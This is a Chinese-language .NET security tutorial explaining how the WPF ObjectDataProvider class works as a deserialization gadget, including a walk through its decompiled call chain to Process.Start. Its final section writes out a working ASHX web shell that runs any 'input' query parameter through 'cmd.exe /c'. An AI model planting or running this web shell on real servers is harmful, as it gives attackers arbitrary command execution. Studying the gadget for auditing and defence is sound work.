.NET高级代码审计(第13课)反序列化Gadget之ObjectDataProvider完结篇

渗透技巧 3年前 (2022) admin
687 0 0

0x01 背景


ObjectDataProvider类,封装于WPF核心程序集之一PresentationFramework.dll作为 .NET反序列化漏洞里的核心Gadget,上篇介绍了使用的基本场景和用法,本篇接着聊ObjectDataProvider生命周期和原理分析,顾名思义就是把一个非静态类实例化后的对象作为数据源提供给WPF控件绑定,常见用法如下

ObjectDataProvider obj = new ObjectDataProvider();obj.MethodParameters.Add("calc");obj.MethodName = "Start";obj.ObjectInstance = new System.Diagnostics.Process();

上述代码中ObjectInstance设置为Process对象,MethodName设置为Process对象的Start方法,MethodParamers为Start方法传递的参数 calc,另外查看此类的定义可知除了ObjectInstance属性外,还提供了ObjectType属性,为接受任意类型对象

.NET高级代码审计(第13课)反序列化Gadget之ObjectDataProvider完结篇

由于Type是一个抽象类,不能直接被new 关键词创建对象,但可用以下3种方法得到Type实例

第1种方法:typeof

使用C# typeof操作符 获取 Process 类型的引用

ObjectDataProvider objectDataProvider = new ObjectDataProvider(){                  ObjectType = typeof(System.Diagnostics.Process)};objectDataProvider.MethodParameters.Add("calc");objectDataProvider.MethodName = "Start";

第2种方法:Type.GetType


可使用 System.Type类的静态成员 GetType(文本,是否抛出异常,区分大小写) , 需在第一个参数指定类型的完全限定名,限定名包含了类所在的命名空间、程序集名、版本、语言、PublicKeyToken,采用这种方法的好处在于可指定文本信息,编译时不需要提供数据类型,如下

ObjectDataProvider objectDataProvider = new ObjectDataProvider(){                  ObjectType = Type.GetType("System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", true,true);};objectDataProvider.MethodParameters.Add("calc");objectDataProvider.MethodName = "Start";

第3种方法:Object.GetType()


可使用 System.Object.GetType() , 返回表示当前对象的Type实例,其实从.NET 源码可见ObjectInstance底层实现也是通过对象的GetType()得到类型,改写的代码如下

ObjectDataProvider objectDataProvider = new ObjectDataProvider(){    ObjectType = new System.Diagnostics.Process().GetType()};objectDataProvider.MethodParameters.Add("calc");objectDataProvider.MethodName = "Start";

0x02 调用链

下图描绘整个WPF项目窗体创建启动到ObjectDataProvider实例化调用对象过程中所有的调用链,包含WPF窗体创建过程调用链,以及ObjectDataProvider实例化载入任意对象过程的调用栈信息


.NET高级代码审计(第13课)反序列化Gadget之ObjectDataProvider完结篇


实例化对象ObjectDataProvider,它继承于DataSourceProvider类,内部定义了两个重要方法,Refresh方法调用虚方法BeginQuery,这个BeginQuery将来会在ObjectDataProvider类里实现。这个过程分为3步

public void Refresh()    {      this._initialLoadCalled = true;      this.BeginQuery();    }protected virtual void BeginQuery()    {    }

设置方法参数


进入ObjectDataProvider类的构造方法实例化集合,该集合ParameterCollection继承于Collection<Object>,并声明一个委托ParameterCollectionChanged,用于OnParametersChanged 时调用定义在Collection类的公开方法,并重写InsertItem,SetItem,RemoveItem等多个方法,最终将值赋给内部成员 methodParameters,因为InsertItem声明是受保护的方法不可直接被调用,而Addf声明为公共方法可被调用,所以通过 MethodParameters.Add(“calc”) 添加参数

public ObjectDataProvider()    {      this._methodParameters = new ParameterCollection(new ParameterCollectionChanged(this.OnParametersChanged));      this._sourceDataChangedHandler = new EventHandler(this.OnSourceDataChanged);    }
public ParameterCollection(ParameterCollectionChanged parametersChanged) => this._parametersChanged = parametersChanged;protected override void InsertItem(int index, object value)    {      this.CheckReadOnly();      base.InsertItem(index, value);      this.OnCollectionChanged();    }private void OnCollectionChanged() => this._parametersChanged(this);
    public void Add(T item)    {      if (this.items.IsReadOnly)        ThrowHelper.ThrowNotSupportedException(ExceptionResource.NotSupported_ReadOnlyCollection);      this.InsertItem(this.items.Count, item);    }

实例化对象的两种方式


通过set_ObjectInstance设置需要创建实例化对象名,在实例化时只能二选一,ObjectDataProvider.ObjectType或ObjectDataProvider.ObjectInstance,另外观察SetObjectInstance方法,它底层实现也是通过value?.GetType()的方式获得类型完全限定名,这点和上一小节1.2演示的Demo一样。

public object ObjectInstance    {      set      {        if (this._mode == ObjectDataProvider.SourceMode.FromType)          throw new InvalidOperationException(System.Windows.SR.Get("ObjectDataProviderCanHaveOnlyOneSource"));        this._mode = value == null ? ObjectDataProvider.SourceMode.NoSource : ObjectDataProvider.SourceMode.FromInstance;        if (this.ObjectInstance == value)          return;        if (!this.SetObjectInstance(value) || this.IsRefreshDeferred)          return;        this.Refresh();      }    }   
private bool SetObjectInstance(object value) { if (this._objectInstance == value) return false; this._objectInstance = value; this.SetObjectType(value?.GetType()); this.OnPropertyChanged("ObjectInstance"); return true; }

另外再看ObjectType属性底层实现原理如下,this._objectType = newType; 直接赋值给了传递的Type类型参数,例如上一小节1.1演示的Demo,ObjectType = typeof(System.Diagnostics.Process)

private bool SetObjectType(Type newType)    {      if (!(this._objectType != newType))        return false;      this._objectType = newType;      this.OnPropertyChanged("ObjectType");      return true;    }

设置方法名


set_MethodName设置对象调用的方法,如objectDataProvider.MethodName = “Start”;

public string MethodName    {      get => this._methodName;      set      {        this._methodName = value;        this.OnPropertyChanged(nameof (MethodName));        if (this.IsRefreshDeferred)          return;        this.Refresh();      }    }

反射调用


接着依次进入BeginQuery -> QueryWorker ->InvokeMethodOnInstance,BeginQuery在ObjectDataProvider类里重写实现调用,InvokeMethodOnInstance方法通过属性this._objectType反射出MethodName里设置的MethodParameters数组,此处是objArray,至此ObjectDataProvider底层运行原理介绍完毕。


.NET高级代码审计(第13课)反序列化Gadget之ObjectDataProvider完结篇


.NET高级代码审计(第13课)反序列化Gadget之ObjectDataProvider完结篇

0x03 编写WebShell

程序内部采用Base64编码和解码的解析方式运行,这样的好处在于对URL特殊字符串的处置,启动Process类调用cmd.exe/c calc.exe 执行命令,核心代码如下

public static void CodeInject(string input)    {        string ExecCode = EncodeBase64("utf-8", input);        ObjectDataProvider objectDataProvider = new ObjectDataProvider()        {            ObjectInstance = new System.Diagnostics.Process(),        };        objectDataProvider.MethodParameters.Add("cmd.exe");        objectDataProvider.MethodParameters.Add("/c " + DecodeBase64("utf-8",ExecCode));        objectDataProvider.MethodName = "Start";    }
public void ProcessRequest(HttpContext context) { context.Response.ContentType = "text/plain"; if (!string.IsNullOrEmpty(context.Request["input"])) { CodeInject(context.Request["input"]); context.Response.Write("Status: 执行完毕!"); } else { context.Response.Write("1. example: http://www.xxxxxxx.com/ObjectDataProviderSpy.ashx?input=calc.exenn"); context.Response.Write("2. 程序调用cmd.exe/c calc.exe 执行命令,注意:本程序仅供实验学习 ObjectDataProvider类,请勿违法滥用!"); } }


访问 http://localhost:52188/ObjectDataProviderSpy.ashx?input=calc 弹出计算器另外在上小节ObjectDataProvider类提到ObjectType属性也可以设定对象的类型,而.NET里获取 Type数据类型常用的有typeof运算符、System.Type类GetType方法、System.Object.Type,所以将 ObjectInstance 替换成 ObjectType 也可以触发命令执行实现变种WebShell。

 

.NET高级代码审计(第13课)反序列化Gadget之ObjectDataProvider完结篇


0x04 结语

ObjectDataProvider的确很神奇,希望未来不会被恶意滥用, 文章涉及的PDF和另外还有3个变种程序Demo已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。

.NET高级代码审计(第13课)反序列化Gadget之ObjectDataProvider完结篇


原文始发于微信公众号(dotNet安全矩阵):.NET高级代码审计(第13课)反序列化Gadget之ObjectDataProvider完结篇

版权声明:admin 发表于 2022年5月13日 上午9:00。
转载请注明:.NET高级代码审计(第13课)反序列化Gadget之ObjectDataProvider完结篇 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...